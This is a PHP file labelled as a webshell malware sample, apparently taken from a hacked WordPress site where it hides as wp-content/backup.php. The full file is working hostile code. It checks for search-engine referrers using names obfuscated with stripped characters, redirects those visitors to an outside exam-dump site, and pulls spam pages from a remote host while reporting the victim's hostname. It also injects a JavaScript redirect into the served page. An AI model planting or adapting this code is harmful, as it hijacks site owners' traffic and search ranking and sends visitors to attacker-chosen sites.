PHP WebShell [Malware]

error_reporting(0);
//wp-content/backup.php
$www="2";
$caches="./backup/";
$files= !empty($_GET['free'])?$_GET['free']:"index.html";
function getHtml($url)
{
        $content=file_get_contents($url);
        if(empty($content)){
        $ch = curl_init();
        $timeout = 5;
        curl_setopt ($ch, CURLOPT_URL, $url);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        $content = curl_exec($ch);
        curl_close($ch);
        }
return $content;
}
//$iframe= "<script type=\"text/javascript\" src=\"http://best4buyou.in/fa/free.js\"></script>";
$jturl = "http://www.itexamonline.com/";
function chref($crefs)
{
$truecref= str_replace("x","","bxxixnxgx|xaxoxxlx|axsxxk|xgxoxxoxgxlxe|yxxaxhxoxo|sxexxaxrxcxh");
if(preg_match("/$truecref/i",$crefs)){
return true;
}else{
return false;
}
}
$htprefs = strtolower($_SERVER/*;*/[/*;*/'HTTP_REFERER'/*;*/]);
if(chref($htprefs) && isset($_GET['free'])){
$jumps=str_replace(array("_catalog","_vendor"), '-catalog',$_GET['free']);
header("location: ".$jturl.$jumps);
        exit;
}

if(isset($_GET['free']))
        {
        $kkk=<<<ESOT
<script>
var q=window["document"]["referrer"];
if(q.indexOf(".")>0)
{self["location"]='{$jturl}{$_GET['free']}'}
</script>
ESOT;
                $con= getHtml('http://2.saleforyou.org/peng/main.php?key='.$_GET['free']."&host=".$_SERVER['HTTP_HOST']."&www=".$www);
                $con = str_replace("?exam=","?free=",$con);
                //$con=str_replace('http://nekonojikan.com','http://www.nekonojikan.com',$con);
                //$con=str_replace($_SERVER['HTTP_HOST'].'/',$_SERVER['HTTP_HOST'].'/?key=',$con);
                //$con=str_replace($_SERVER['HTTP_HOST'].'/?free=',$_SERVER['HTTP_HOST'].'/',$con);
                $con = str_replace("</head>",$kkk."</head>",$con);
echo $con;
                exit();
        }